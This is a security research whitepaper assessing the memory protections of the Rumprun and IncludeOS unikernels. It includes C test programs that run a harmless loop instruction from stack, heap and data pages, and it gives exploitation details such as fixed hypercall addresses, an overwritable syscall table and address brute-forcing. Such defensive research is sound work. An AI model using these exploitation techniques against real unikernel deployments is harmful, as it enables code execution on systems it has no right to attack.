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Abstract
Unikernels are small, specialized, single-address-space machine images constructed

by treating component applications and drivers like libraries and compiling them,

along with a kernel and a thin OS layer, into a single binary blob. Proponents of

unikernels claim that their smaller codebase and lack of excess services make them

more efficient and secure than full-OS virtual machines and containers. We surveyed

two major unikernels, Rumprun and IncludeOS, and found that this was decidedly

not the case: unikernels, which in many ways resemble embedded systems, appear

to have a similarly minimal level of security. Features like ASLR, W^X, stack canaries,

heap integrity checks andmore are either completely absent or seriously flawed. If an

application running on such a system contains amemory corruption vulnerability, it is

often possible for attackers to gain code execution, even in cases where the applica-

tion’s source and binary are unknown. Furthermore, because the application and the

kernel run together as a single process, an attacker who compromises a unikernel can

immediately exploit functionality that would require privilege escalation on a regular

OS, e.g. arbitrary packet I/O. We demonstrate such attacks on both Rumprun and

IncludeOS unikernels, and recommend measures to mitigate them.
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1 Introduction to Unikernels

Unikernels are ‘‘specialized, single-address-space machine images constructed using library operating sys-

tems,’’[MS14] primarily intended for use in cloud computing, where generic virtual machines running com-

plete operating systems are currently the norm. In the unikernel model, all applications to be used on an

image (such as the database and webserver) are treated as libraries within a single application, and are

configured via a combination of compile-time metaprogramming and run-time library calls rather than via

application-specific configuration files. The build system can thus determine precisely what functionality is

used by the application and leave out everything else, such that the resulting image is ‘‘orders of magnitude

smaller’’ than a virtual machine running the same code on a general-purpose operating system. [MS14]

Proponents of unikernels claim that the above can ”shrink the attack surface and resource footprint of cloud

services,” significantly improving efficiency and security. In particular, themajor security claimsmade in favor

of unikernels are as follows. [Bue]

• No unnecessary code. Code is only built into the unikernel image if it is explicitly included. Large clusters

of built-in, default-enabled services (e.g. file sharing, name resolution, Bluetooth, etc.) that often serve as

attack vectors in general-purpose operating systems simply aren’t present in unikernels.

• No shell. Attackers cannot simply invoke /bin/sh to compromise the system, and are forced to use ma-

chine code.

• No reconfiguration. A service running on a unikernel must be rebuilt to make configuration changes;

attackers cannot reconfigure a running machine.

• No system calls. Unikernels only have function calls; attackers must know the exact memory layout of an

application in order to call OS functions like open() and write().

• No/reduced hardware emulation. Certain types of unikernel can run on IBM’s ukvm using the Solo5 frame-

work, a monitor that aims to reduce the number of attack vectors from the VM into the hypervisor.

• Can disallow access to ring 0. If the hypervisor provides paravirtualized interfaces for the storage and

network devices, the VM can be run in ring 3 instead of 0, and thus will not be able to modify its own page

tables. The hypervisor can thus enforce W^X by setting the unikernel’s executable pages as immutable

before booting it.

Notwithstanding, unikernels have also been criticized for their failure to separate kernel and user space.

Since the kernel and application run together as a single process, nothing prevents application code from

calling kernel-level functions. In contrast, code running in user space on ageneral-purpose operating system

is only able to call a subset of the functions on the overall system. In general, attackers who manage to

compromise a single application on such a system must also perform privilege-escalation before they can

do things like crafting arbitrary network packets. As this barrier is absent in unikernels, vulnerabilities that

can lead to code execution, e.g. buffer overflows, are even more serious than on a general-purpose OS.

[Can]
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2 Threat Model Considerations

2.1 Unikernel Capabilities

In theory, unikernels are capable of anything that a full-featured operating system can do, given the ap-

propriate drivers and/or hypervisor interface. In practice, however, unikernels often contain only a small

subset of that functionality, with the rest disabled either because the appropriate interface is not set up by

the hypervisor or because support for it is not compiled in. Unikernels running in the cloud, for instance,

will likely have both network and filesystem I/O capability, but not audio or display capability. As such, on a

unikernel, an attacker may not be able to exploit certain functionalities simply because they are not present.

Since unikernels typically run on a hypervisor, precise details of their functionality will be dependent on the

particular configuration of their host. The following four points are true for Xen, themost popular hypervisor,

and in general apply to others as well.

• Paravirtualization is typically employed to provide low-level functionality to hypervisor guests without re-

quiring the host to emulate hardware and firmware. Guests, must explicitly support paravirtualization, and

as such their driver implementations will differ somewhat from those of full-OS VMs and containers. [Wikc]

• Guests use a hypercall API to perform software traps to the hypervisor in order to request privileged

operations, e.g. updating page tables or sending IP packets. Whether or not such an operation is allowed

is ultimately up to the hypervisor. [Wikb] [Wika]

• Networking can occur in either bridged or NAT mode. Bridging is more common; it allows guests to

‘‘pass through’’ the host and be treated as if they were on the same network. NAT mode, on the other

hand, places guest machines on a private virtual network and performs address translation at the host

level to connect the guests to the outside network via the host’s public IP address.

• Virtual disks for unikernel guests running on a hypervisor such as Xen canbegiven virtual disk space byway

of block devices (e.g. using LVM) or by storing guest disk images as files directly on the host filesystem.

Xen 4.9 can also use 9pfs to share filesystems between guests.

As compared to full-OS virtual machines and containers, unikernels’ capabilities may be more restricted

depending on the image and hypervisor configuration. However, what functionality is available can be

exploited much more easily, as application code (and thus an attacker’s shellcode) can make hypercalls just

as the kernel can. For Rumprun in particular, the hypercall API may prove especially useful to an attacker

who does not have access to the binary or source: in the Rumprun binaries we tested, the hypercall function

minos_hypercall() was always placed at the same address (0x6f9c). An attacker could potentially exploit

this to perform privileged operations without needing to know the full layout of the target binary.

2.2 Unikernels Versus Containers

Unikernels are frequently compared to containers, both in terms of how they function and what problems

they purport to solve. While there are several similarities, they differ in at least two major ways, and exploit

development for each type of system must differ correspondingly.

• Isolation is greater between unikernels, which share only a hypervisor, duplicating the kernel and its atten-

dant functionality (e.g. the network stack). Containers, on the other hand, share the kernel of the host OS,

using cgroups, kernel namespaces, and other technologies to further isolate instances.

• Included functionality is typically much smaller in unikernels. While containers attempt to simulate a full

operating system, each unikernel only needs to support one particular application (or possibly even one

particular configuration state of an application). As such, unikernels have significantly fewer dependen-

cies, and will not feature default services, a shell, etc.

5 | Assessing Unikernel Security NCC Group



3 Hypothesis

We acknowledge that unikernels do indeed present a much smaller attack surface, as well as fewer capa-

bilities for an attacker to make use of on a compromised system. However, we believe that the dangers

of running the application in kernel space — namely the lack of any privilege model for applications — far

outweigh the security benefits of a smaller codebase. Attackers targeting a unikernel will certainly have

more difficulty getting an initial foothold, but once they do, they immediately gain a great deal of low-level

capability that would not be readily available if the compromised application were running on a full-OS VM

or container. This is of particular significance for attackers using a unikernel as a pivot point from which to

target neighboring systems.

Despite the ostensible need for heightened security in the face of such a possibility, we expected that

unikernels’ security measures would be insufficient on the whole, primarily for two reasons. Firstly, most

unikernel projects emphasize a need for a small resource footprint, which implies that (like embedded

devices) theymay cut corners in a variety of ways, including by sacrificing security features. Secondly, having

reviewed the statements of unikernel proponents and developers, we realized that a great many of them

suggested an ignorance or misunderstanding of fundamental security practices. Common claims included

‘‘there is no shell, so attackersmustwrite shellcode,’’ ‘‘there are no syscalls, so attackersmust scanmemory for

useful functions,’’ and ‘‘addresses are randomized at build time.’’ These were often presented as guarantees

of security, when in fact they are merely inconveniences to a determined attacker.

Furthermore, while the techniques required to secure kernel- and userspace code overlap in many areas,

they differ significantly in others. By combining these two domains into a single binary blob, often via

a custom compiler toolchain, unikernels implicitly take on the burden of ensuring security not only while

the application runs, but also while compiling and building the image, initializing the process, loading the

application, and running any and all kernel code. Securing such a wide range of functionality would be a

monumental task even for a large professional team, and a failure at any one of these levels would leave

large gaps in a system’s defenses.

In short, we suspected that unikernel developers — who expressed highly dubious claims about application

security implying a fundamental lack of understanding—had failed to appropriately resolve themyriad issues

inherent in unikernels’ unusual mixing of kernel- and userspace code.
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4 Testing Methodology

For each of the systems studied, we performed the following tests.

4.1 ASLR

Address space layout randomization (ASLR) is a security technique that randomizes critical addresses within

a process, such as the bases of the executable, stack, heap, and dynamic libraries. This makes it difficult or

impossible for attackers to jump to specific points in an application based solely on known addresses. ASLR

is implemented on the vast majority of modern operating systems, and is typically done at runtime, although

it occurs only at compile time in some cases.

Using identical code across multiple runs and builds, we observed runtime addresses to determine if base

addresses of the stack, heap, shared libraries (if applicable), and program data and code were randomized.

4.2 Page Protections

Page protections relate to the configuration of memory pages to restrict undesirable behavior and mitigate

exploitation. For the purposes of our research, we focused on the read-write-execute (RWX) configuration

of memory regions as a whole; use of dynamic page table entry reconfiguration, either post-initialization or

at runtime; and the use, if any, of guard pages.

4.2.1 W^X Policy

W^X (write XOR execute) is a concept stipulating that pages cannot simultaneously be writable and exe-

cutable. This prevents attackers from rewriting application code and/or executing arbitrary data.

We created sample programs to test for violations of the W^X policy, attempting to overwrite data in .text

and execute data in .data, the stack, the heap, and the null page.

4.2.2 Internal Data Hardening

On Unix systems, RELRO (relocation read-only) is memory hardening technique that attempts to restrict

access to certain internal structures of ELF binaries and the process runtime environment. In addition to

reordering certain ELF/libc-specific sections to precede the program’s data sections, its primary protection

is its reconfiguring of page permissions of the PLT (Procedure Linkage Table) andGOT (Global Offsets Table)

— process structures supporting dynamic linking. Regardless of whether or not a unikernel supports dynamic

linking of shared libraries, data structures unrelated to the application code should be hardened. Hardening

should focus on ensuring that regions ofmemory containing dynamically registered, but generally unaltered

function pointers, are not writable after initialization, and temporarily made writable only when being legiti-

mately updated.

We searched for memory regions primarily containing writable function pointers, e.g. syscall tables.

4.2.3 Guard Pages

Guard pages are pages lacking permissions (i.e. with PROT_NONE) placed between memory sections to

prevent sequential overflows in one fromwriting into the other (e.g. the stack into the heap), and additionally

to limit sections from expanding into one another. The intent is that writes overflowing out of a given

section will hit the guard page before they hit the following section, causing a page fault. However, in some

situations, stack allocations may be induced to jump over the guard page. [Qua] To fully protect against

such an exploit, it is necessary to implement stack probing, a technique that ensures that pages that would

have been skipped by certain allocations are touched at least once. [Rus]

We checked for the existence of guard pages and for stack probing support.
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4.2.4 A Note on Null Page Vulnerabilities

malloc(3) is specified to return NULL when an allocation error occurs or too much memory is requested.

However, modern Linux systems are configured to supportmemory overcommitting, whereby malloc(3)will

almost always return a non-null pointer. Only when pages following this pointer — but within the allocation

region — are touched, will the pages be allocated by the kernel, after trapping. Programs that use too much

memory, may be killed by the ”Out Of Memory (OOM) Killer,” especially when the system is critically low on

available memory. As such, while malloc(3)’s return value technically should be verified as non-null before

use, Linux applications rarely do so. [Manb]

If the unikernel does not harden the null page and does not perform memory overcommitting, this can

lead to vulnerabilities when running Linux-targeting code. On non-overcommit POSIX system, if malloc(3)

returns NULL and the application code does not validate it, dereferences are likely to yield a page fault due

to the null page not being mapped. However, in a unikernel, the kernel and the application code run in the

same address space, and the null pagewill generally bemappedby default. In such caseswhere malloc(3)’s

result is unchecked and it returns NULL, any operations on the null pointer will then occur on the null page (i.e.

at address 0x0). If the null page is writable and/or executable, an attacker could exploit this behavior to gain

code execution, especially if multiple such allocations are attempted, enabling use-after-free-like attacks.

4.3 Stack Canaries

A stack canary (or ‘‘cookie’’) is a special, generally random value that is stored on the stack just before the

return value when a function is called. Before the function returns, the cookie is checked, and if it has

changed, a failure handler is called, typically aborting the program. This prevents attackers from using a

stack overflow to overwrite a function’s return address.

We created sample programs with stack overflow exploits and reviewed the kernel source code and com-

piled binaries to determine how (or if) stack cookies were implemented.

4.4 Heap Hardening

The heap is generally implemented as a doubly-linked list, with metadata stored alongside the chunks

themselves. Heap-hardening techniques are employed to mitigate the effects of buffer overflows into heap

metadata, which may otherwise lead to exploits in functions like free() that act based on such data. Com-

mon hardening methods include unpredictable allocations and validation of metadata such as linked list

pointers and chunk lengths.

We created sample programswith heapoverflowexploits and reviewed the kernel source code to determine

the heap protection measures in use.

4.5 Entropy and Random Number Generation

Entropy is the randomness collected for use in cryptography or any other use that requires random data. A

lack of entropy or even poor sources of entropy can lead to devastating vulnerabilities, enabling not only

the breaking of cryptographic schemes, but any security measure that relies on hiding or obfuscating data

from third-parties through unguessable values (e.g. ASLR, stack cookies, session IDs, access tokens, etc.). In

general, the best sources of entropy are derived from hardware interfaces exposed only to the bare-metal

operating system. This prevents otherwise deterministic applications running under an operating system

from generating useful entropy without interfacing with it in some manner to obtain sources of random

seed data.

8 | Assessing Unikernel Security NCC Group



This model presents significant issues for virtual machines, and, by extension, unikernels. For purposes

of security isolation, virtual machines are generally not given direct access to hardware components (e.g.

network card, hard drives) by the hypervisor, and therefore have a significantly reduced set of quality sources

of entropy by default, unless provided direct or virtualized hardware interfaces to profile for entropy. A

risk specific to stateful unikernels is their default statelessness. To bypass long entropy gathering periods

early at boot, full operating systems — including virtualized ones — will persist their entropy across reboots

using a seed file. Unikernels that do not perform similar operations will need to gather entropy upon each

restart, andmay allow security-sensitive randomnumber generators to be seededpoorly. However, it should

be noted that the lack of such entropy persistence is likely beneficial to ephemeral unikernels started and

stopped at scale to meet demand. For these, such persistence may result in separate unikernel instances

being initialized with the same entropy, enabling numerous cryptographic attacks (e.g. due to nonce reuse).

Any such entropy persistence mechanisms used by unikernels must therefore ensure that entropy seeds are

not used more than once.

With the rise of virtualization, and the need for multiple virtual machines running on the same host to obtain

isolated entropy from one another, CPU vendors have added hardware random number generators to

their platforms that are accessible to VMs. The x86 RDRAND instruction is the primary example such an

interface, being exposed directly to VMs without requiring hypervisor intervention. Given the concerns over

the correctness of such generally unverifiable implementations, RDRAND/RDSEED output should not be used

directly; instead it should be fed into a cryptographically secure pseudorandom number generator — along

with other quality sources of entropy — that is used to obtain security-sensitive random values.

We reviewed the internal entropy gathering and generation implementations of each unikernel and the way

such entropy is made accessible to application code as random values. Where applicable, we patched the

implementation code to perform additional logging of entropy-related data to verify code paths exercised

by sample programs that call random number generator APIs.

4.6 Standard Library Hardening

The C standard library can be hardened in a variety of ways. We created sample programs and examined

the unikernels’ source code to determine whether or not the following hardening measures are taken.

4.6.1 The %n Format Specifier

In format strings for printf()-like functions, the %n specifier will write the number of characters already

written to the address stored in the corresponding argument. It is frequently used as a primitive in format

string attacks, wherein a programmer accidentally allows an attacker to specify the value of format string

itself. If such a vulnerability exists, and the %n specifier is supported, the attacker can exploit it to write

arbitrary data to arbitrary locations. [New]

In general, the %n format specifier, which is rarely (if ever) used for legitimate purposes, should be disallowed

in printf() and related functions in order to mitigate this kind of exploit.

4.6.2 Custom Format Specifiers

Some implementations of the C standard library, notably glibc, add the ability to register custom format

specifiers to user-defined functions. Generally speaking, this functionality requires a dynamic lookup table

containing mappings from specifiers to handlers. If an attacker finds another exploit that can be used as a

write primitive, they couldmodify the table in order to hijackprogramexecution. This is especially dangerous

if a format string exploit exists and the %n specifier is supported, as the attacker can use it to register a custom

handler and then immediately execute it. If ASLR is also disabled, this kind of exploit becomes trivial. [Prod]

C standard library implementations generally should not provide custom format specifier registration.
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4.6.3 The _FORTIFY_SOURCEMacro

The _FORTIFY_SOURCEmacro is described as follows by the Linux Programmer’s Manual. [Mana]

Defining this macro causes some lightweight checks to be performed to detect some buffer

overflow errors when employing various string andmemorymanipulation functions (for example,

memcpy(3), memset(3), stpcpy(3), strcpy(3), strncpy(3), strcat(3),strncat(3), sprintf(3),

snprintf(3), vsprintf(3), vsnprintf(3), gets(3), and wide character variants thereof). For

some functions, argument consistency is checked; for example, a check is made that open(2) has

been supplied with amode argument when the specified flags include O_CREAT. Not all problems

are detected, just some common cases.

If _FORTIFY_SOURCE is set to 1, with compiler optimization level 1 (gcc -O1) and above, checks that

shouldn’t change the behavior of conforming programs are performed. With _FORTIFY_SOURCE

set to 2, some more checking is added, but some conforming programs might fail.

_FORTIFY_SOURCE should be set to at least 1 — ideally 2 — unless there is an extremely compelling reason to do

otherwise. For example, the higher value may enable a number of runtime checks requiring OS-provided

facilities (e.g. validation of page non-writability through procfs) that would not exist in a unikernel context

unless explicitly supported for compatability.

4.7 Limitations of the Test Scope

As we have already mentioned above, unikernels in general are large, technically-complicated projects,

with potential for security vulnerabilities at all levels of the stack. Our tests focused primarily on the common

security measures found in full-featured operating systems, so there were several components that, while

certainly of interest, could not feasibly fit within the scope and/or time-frame of our experiments. In particu-

lar, we did not assess the implementations of the APIs provided by the unikernels, although we occasionally

examined their internal data structures in order to identify exploit primitives. Further investigation of these

APIs — Rumprun’s POSIX API, IncludeOS’s custom network stack, filesystem handling, and HTTP parser, and

so on — could be a target of future research. In addition to general memory corruption flaws, unikernel

network stacks present an interesting research topic as their focus on lightweight implementations may

recreate classes of vulnerabilities long since eradicated in mainstream networking stacks (e.g. insecure TCP

sequence number generation).
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5 Case Study: Rumprun

5.1 Introduction to Rumprun

Rumprun is an all-purpose unikernel that works on both hypervisors (KVM, Xen, etc.) and bare metal, sup-

porting applications written in a variety of languages including, but not limited to, ‘‘C, C++, Erlang, Go, Java,

Javascript (node.js), Python, Ruby, and Rust.’’ It has a repository of ready-made packages for common server

software such as nginx, memcached, and redis, and can be run with an optional POSIX-style interface to allow

such applications to run out-of-the box. [Kerd, Kerb]

5.2 Security Overview

Rumprun contains numerous critical flaws that can enable arbitrary code execution in a wide variety of

situations. Most major issues stem from a failure to properly and consistently implement security measures

that would be considered standard on a full-featured OS, such as ASLR, heap integrity checks, and guard

pages. In addition, manymore subtle flaws arose due to Rumprun being based on the NetBSD rump kernel,

which is essentially a developer testing platform and only provides partial implementations of many critical

parts of the POSIX API — notably, mprotect is a no-op. A summary of the issues is provided below, and they

are described in detail in the following sections.

• ASLR is not performed; PIE is not supported.

• The stack and heap are executable, as is .data.

• Stack canaries are explicitly disabled in the core kernel. Some compilers may add canaries to the appli-

cation code by default, but due to issues with thread-local storage, they will always be null.

• Heap allocations are completely deterministic and generally sequential.

• The headers of malloc chunks and page chunks both have canaries, but their values are set using compiler

defines. Furthermore, the canaries are not the first field in their respective headers; a critical field can be

altered without overwriting the canary.

In general, both stack andheapbuffer overflows in Rumprun can reliably be exploited togain code execution

if the attacker has access to either the source or the binary. (Note that stack buffer overflows on some

images may require the attacker to be able to write null bytes, depending on how the application code was

compiled.) Furthermore, these exploits may even be possible without an information leak: even if a failed

exploit causes the victim’s Rumprun server to crash and reboot, the attacker just can change his address

offsets and try again. Since Rumprun has no ASLR, the target object in memory (usually a function pointer)

will be at the same location in memory each time, so given enough time, its address can be brute-forced.
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5.3 Testing Details

5.3.1 Software Versions

• Rumprun unikernels were run on Xen 4.8.0 on Ubuntu 16.04.2 LTS x86_64.

• We used the latest version of Rumprun at the time of testing: commit c7f2f01 (Mar 17, 2017).

• Rumprun and the sample programs were compiled with gcc 5.4.0.

5.3.2 Debugging

Rumprun’s boot script rumprun allows for relatively seamless debugging across all of the platforms that

Rumprun supports. A gdb debug bridge can be opened on any local port via the flag -D <PORT>, added

after the platform name, and the VM can be started paused by adding the -s flag. For instance, we used the

following to debug Rumprun unikernels running on Xen.

$ rumprun -S xen -p -D 1234 image.bin

Note: The -S flag makes rumprun invoke sudo for subcommands needing it.

5.3.3 Networking

On Xen, Rumprun’s networking works out-of-the box. In our tests, we only needed to configure bridged

networking for Xen on our host OS, and Rumprun was able to use it without any issues.

5.4 ASLR

ASLR not is present in Rumprun in any form. Furthermore, the Rumprun kernel must be compiled without

PIE (position independent executable) support enabled.

Sample programs performing the following tests all yielded exactly the same addresses each time they were

run, including after they had been rebuilt (i.e. make clean && make).

• Text: The addresses of library functions, e.g. printf(), and user-defined functions were printed.

– Functions that were present in multiple sample programs (e.g. Rumprun builtins such as hypervisor_-

callback2 and rumprun_main1, as well as library functions) had addresses that either were identical or

that differed only slightly. The latter case is the result of differences in the size of the code included, not

any form of randomization.

Note: In general, application code is linked after Mini-OS’s hypervisor-interacting functions. [Prof]

• Data: The addresses of static strings were printed.

• Stack: The addresses of stack-allocated variables were printed.

• Heap The addresses of data allocated via malloc() were printed.

– Heap allocations are also deterministic: assuming the same initial heap state, a given set of successive

allocations will always result in the same series of addresses (see Section 5.7).
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1 #include <stdio.h>

2 #include <stdlib.h>

3 #include <unistd.h>

4

5 static const char* str1 = "hello";

6 static const char* str2 = "world";

7 static const char* str3 = "this is a reference"

8 " implementation of a string";

9 int fn1(int x) {

10 return ++x;

11 }

12 long fn2(long x, long y) {

13 return x - y;

14 }

15 char fn3(char x, char y, char z) {

16 return (x ^ y) & z;

17 }

18

19 int main() {

20 puts("### .TEXT ###");

21 printf("printf @ %p\n", &printf);

22 printf("fn1 @ %p\n", &fn1);

23 printf("fn2 @ %p\n", &fn2);

24 printf("fn3 @ %p\n\n", &fn3);

25

26 puts("### .DATA ###");

27 printf("str1 @ %p\n", &str1);

28 printf("str2 @ %p\n", &str2);

29 printf("str3 @ %p\n\n", &str3);

30

31 puts("### STACK ###");

32 const char* var1 = "hello";

33 int var2 = 4; void* var3 = (void*)0xFFFF;

34 printf("var1 @ %p\n", &var1);

35 printf("var2 @ %p\n", &var2);

36 printf("var3 @ %p\n\n", &var3);

37

38 puts("### HEAP ###");

39 char* ptr1; int* ptr2; void* ptr3;

40 const static int TEST_ROUNDS = 10;

41 for (int i = 0; i < TEST_ROUNDS; ++i) {

42 printf("Round %d\n", i+1);

43 ptr1 = (char*) malloc(10*sizeof(char));

44 ptr2 = (int*) malloc(sizeof(int));

45 ptr3 = (void*) malloc(32);

46 printf("ptr1 @ %p\n", ptr1);

47 printf("ptr2 @ %p\n", ptr2);

48 printf("ptr3 @ %p\n\n", ptr3);

49 free(ptr1); free(ptr2); free(ptr3);

50 }

51 }

=== calling "krn/1-aslr.bin" main() ===

### .TEXT ###

printf @ 0x1bec70

fn1 @ 0x1767c

fn2 @ 0x17690

fn3 @ 0x176aa

### .DATA ###

str1 @ 0x26f240

str2 @ 0x26f248

str3 @ 0x26f250

### STACK ###

var1 @ 0xc40f50

var2 @ 0xc40f48

var3 @ 0xc40f58

### HEAP ###

Round 1

ptr1 @ 0x45dfd0

ptr2 @ 0x45dfb0

ptr3 @ 0x9a5dd0

Round 2

ptr1 @ 0x45dfd0

ptr2 @ 0x45dfb0

ptr3 @ 0x9a5dd0

/* omitted duplicates */

Round 10

ptr1 @ 0x45dfb0

ptr2 @ 0x45dfd0

ptr3 @ 0x9a5dd0

=== main() of "krn/1-aslr.bin" returned 0 ===

/* omitted debug output */

Listing 1: Source and output of unikernel-tests/rumprun/src/1-aslr.c
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5.5 Page Protections

5.5.1 W^X Policy

W^X is a concept stipulating that pages in memory cannot simultaneously be writable and executable. In

Rumprun, this memory protection policy is not consistently enforced. The text section is executable and not

writable. However, the stack, the heap, and static data have write and execute permissions.

5.5.2 Overwriting Program Code

We attempted to memcpy() arbitrary data over library functions. This consistently resulted in page faults,

indicating that executable code is non-writable.

1 #include <stdio.h>

2 #include <string.h>

3

4 void my_puts() {

5 puts("in my_puts");

6 }

7

8 int main() {

9 void (*fn)() = &my_puts;

10

11 // "\xeb\xfe" is "jmp 0"

12 memcpy(fn, "\xeb\xfe", 2);

13

14 puts("Should hang here...");

15 my_puts();

16 return 0;

17 }

=== calling "krn/2-nxwx-1-text.bin" main() ===

puts @ 0x1bda50

my_puts @ 0x1767c

in my_puts

Page fault at linear address 0x1767c, rip

0x1c27df, regs 0xc40eb8, sp 0xc40f68,

our_sp 0xc40ea0, code 3

/* omitted for brevity */

Listing 2: Source and output of unikernel-tests/rumprun/src/2-nxwx-1-text.c

5.5.3 Executing Data

We then attempted to execute assembly bytes stored in the rodata section; this succeeds, indicating that

rodata is executable.

1 #include <stdio.h>

2 #include <string.h>

3

4 const char* s = "\xeb\xfe"; // jmp 0

5

6 int main() {

7 void (*fn)() = (void(*)()) ((void*)s);

8 puts("Should hang here...");

9 fn();

10 puts("Shouldn't print.");

11 return 0;

12 }

=== calling "krn/2-nxwx-2-dataA.bin" main() ===

Should hang here...

Listing 3: Source and output of unikernel-tests/rumprun/src/2-nxwx-2-dataA.c
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We then memcpy-ed instructions over the string content in the rodata section; this fails on the memcpy, indi-

cating that rodata is not writable.

1 #include <stdio.h>

2 #include <string.h>

3

4 const char* s = "hello world";

5

6 int main() {

7 printf("s @ %p\n", s);

8 memcpy((void*)(s), "\xeb\xfe", 2); // jmp 0

9 return 0;

10 }

Listing 4: unikernel-tests/rumprun/src/2-nxwx-2-dataB.c

=== calling "krn/2-nxwx-2-dataB.bin" main() ===

s @ 0x1e42a1

Page fault at linear address 0x1e42a1, rip 0x1d24ff, regs 0xc40ec8, sp 0xc40f78, our_sp 0xc40eb0, code

3

Thread: lwp

RIP: e030:[<00000000001d24ff>]

RSP: e02b:0000000000c40f78 EFLAGS: 00010246

RAX: 00000000001e42a1 RBX: 0000000000948b10 RCX: 0000000000000002

RDX: 0000000000000002 RSI: 00000000001e42b5 RDI: 00000000001e42a1

RBP: 0000000000c40f80 R08: 000000000000000a R09: 0000000000000000

R10: 0000000000000002 R11: 00000000001e42a1 R12: 0000000000464e90

R13: 00001ea08c5d1182 R14: 000000000028dd40 R15: 0000000000466c90

base is 0xc40f80 caller is 0x1b5821

base is 0xc40f90 caller is 0xbd0190

c40f60: 78 0f c4 00 00 00 00 00 2b e0 00 00 00 00 00 00

c40f70: 90 4e 46 00 00 00 00 00 74 7e 01 00 00 00 00 00

c40f80: 90 0f c4 00 00 00 00 00 21 58 1b 00 00 00 00 00

c40f90: 00 00 00 00 00 00 00 00 90 01 bd 00 00 00 00 00

c40f70: 90 4e 46 00 00 00 00 00 74 7e 01 00 00 00 00 00

c40f80: 90 0f c4 00 00 00 00 00 21 58 1b 00 00 00 00 00

c40f90: 00 00 00 00 00 00 00 00 90 01 bd 00 00 00 00 00

c40fa0: 60 58 1b 00 00 00 00 00 10 8b 94 00 00 00 00 00

1d24e0: 16 49 89 f8 4a 8d 74 1e 08 4a 8d 7c 1f 08 48 c1

1d24f0: e9 03 f3 48 a5 49 89 10 4d 89 11 c3 48 89 d1 f3

1d2500: a4 c3 90 90 90 90 90 90 90 90 90 90 90 90 90 90

1d2510: 49 b8 01 01 01 01 01 01 01 01 4c 8d 14 17 48 0f

Pagetable walk from virt 1e42a1, base 41b000:

L4 = 000000026761c067 (0x41c000) [offset = 0]

L3 = 000000026761d067 (0x41d000) [offset = 0]

L2 = 000000026761e067 (0x41e000) [offset = 0]

L1 = 001000025efe4025 [offset = 1e4]
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After this, we attempted to write to and execute from the C string pointer variable itself, and, for good

measure, wemarked it doubly const (thereby placing it in the .data.rel.ro.local section). This succeeded,

indicating that .data.rel.ro.local is both writable and executable.

1 #include <stdio.h>

2 #include <string.h>

3

4 char const* const s = "hello world";

5

6 int main() {

7 printf("s @ %p\n", s);

8 printf("&s @ %p\n", &s);

9 memcpy((void*)(&s), "\xeb\xfe", 2); // jmp 0

10 void (*fn)() = (void(*)()) ((void*)&s);

11 puts("Should hang here...");

12 fn();

13 return 0;

14 }

=== calling "krn/2-nxwx-2-dataC.bin" main() ===

s @ 0x1e42e1

&s @ 0x291048

Should hang here...

Listing 5: Source and output of unikernel-tests/rumprun/src/2-nxwx-2-dataC.c

5.5.4 Executing Stack Data

We memcpy-ed instructions into a stack-allocated buffer and then called it as a function.

This succeeded, indicating that the stack is executable.

1 #include <stdlib.h>

2 #include <stdio.h>

3 #include <string.h>

4

5 int main() {

6 char data[1024] = {0};

7 memcpy(&data, "\xeb\xfe", 2); // jmp 0

8 puts("should hang here...");

9 ((void(*)()) &data)();

10 return 0;

11 }

=== calling "krn/2-nxwx-3-stack.bin" main() ===

should hang here...

Listing 6: Source and output of unikernel-tests/rumprun/src/2-nxwx-3-stack.c

5.5.5 Executing Heap Data

We allocated a buffer with malloc, memcpy-ed instructions into it, and called it as a function.

This succeeded, indicating that the heap is executable.

1 #include <stdlib.h>

2 #include <stdio.h>

3 #include <string.h>

4

5 int main() {

6 void* data = malloc(1024*sizeof(char));

7 memcpy(data, "\xeb\xfe", 2); // jmp 0

8 puts("should hang here...");

9 ((void(*)())data)();

10 return 0;

11 }

=== calling "krn/2-nxwx-4-heap.bin" main() ===

should hang here...

Listing 7: Source and output of unikernel-tests/rumprun/src/2-nxwx-4-heap.c
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5.5.6 Memory Permissions

From the Rumprunmemorymapping code,[Kerc] we see that the observed behavior is due to a quirk of how

ELF sections aremapped andpermissioned. On standard ELF-based POSIXOSes, when a process starts, the

ELF metadata is read and used to set page permissions as the sections are mapped into memory. Rumprun,

however, assumes a fixed set of sections and permission flags, and does not set section page permissions

based on the ELF metadata.

void arch_init_mm(unsigned long* start_pfn_p, unsigned long* max_pfn_p)

{

unsigned long start_pfn, max_pfn;

...

build_pagetable(&start_pfn, &max_pfn);

clear_bootstrap();

set_readonly(&_text, &_erodata);

/* get the number of physical pages the system has. Used to check for

* system memory. */

system_ram_end_mfn = HYPERVISOR_memory_op(XENMEM_maximum_ram_page, NULL);

*start_pfn_p = start_pfn;

*max_pfn_p = max_pfn;

}

Listing 8: rumprun/platform/xen/xen/arch/x86/mm.c

Rumprun explicitly marks the beginning of the text section through to the end of the rodata section as being

read-only. Due to the section ordering layout of the Rumprun toolchain, this results in only the following

sections being made read-only, while all others remain RWX:

• .text

• .note.gnu.build-id

• .note.rumprun.bakerecipe

• .rodata

5.5.7 Internal Data Hardening

Rumprun only supports static libraries, and does not use any dynamic-linking pointer tables. However, it

does feature a dynamic syscall table that remains writable after being populated at startup. If the syscall table’s

address is known, a memory corruption vulnerability (see Section 5.7) can be used to overwrite a pointer in

it to gain code execution.

The syscall table is structured as follows. Each entry contains argument metadata, flags for various proper-

ties, the address of the syscall handler, and entry/exit IDs used during dynamic tracing.

120 extern struct sysent { /* system call table */

121 short sy_narg; /* number of args */

122 short sy_argsize; /* total size of arguments */

123 int sy_flags; /* flags. see below */

124 sy_call_t *sy_call; /* implementing function */

125 uint32_t sy_entry; /* DTrace entry ID for systrace. */

126 uint32_t sy_return; /* DTrace return ID for systrace. */

127 } sysent[];

Listing 9: src-netbsd/sys/sys/systm.h
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Every element in rump_sysent is initially set to rump_enosys, indicating that no handlers are set up.

struct sysent rump_sysent[] = {

{

.sy_call = (sy_call_t *)rumpns_enosys,

}, /* 0 = syscall */

{

.sy_call = (sy_call_t *)rumpns_enosys,

}, /* 1 = exit */

{

.sy_call = (sy_call_t *)rumpns_enosys,

}, /* 2 = fork */

{

ns(struct sys_read_args),

.sy_call = (sy_call_t *)rumpns_enosys,

}, /* 3 = read */

/* many more syscalls ... */

};

Listing 10: src-netbsd/sys/rump/librump/rumpkern/rump_syscalls.c

The syscall table is populated at boot via rump_syscall_boot_establish(), which takes an array of struct

rump_onesyscall, each specifying an offset in the table and a handler address.

167 struct rump_onesyscall {

168 int ros_num;

169 sy_call_t *ros_handler;

170 };

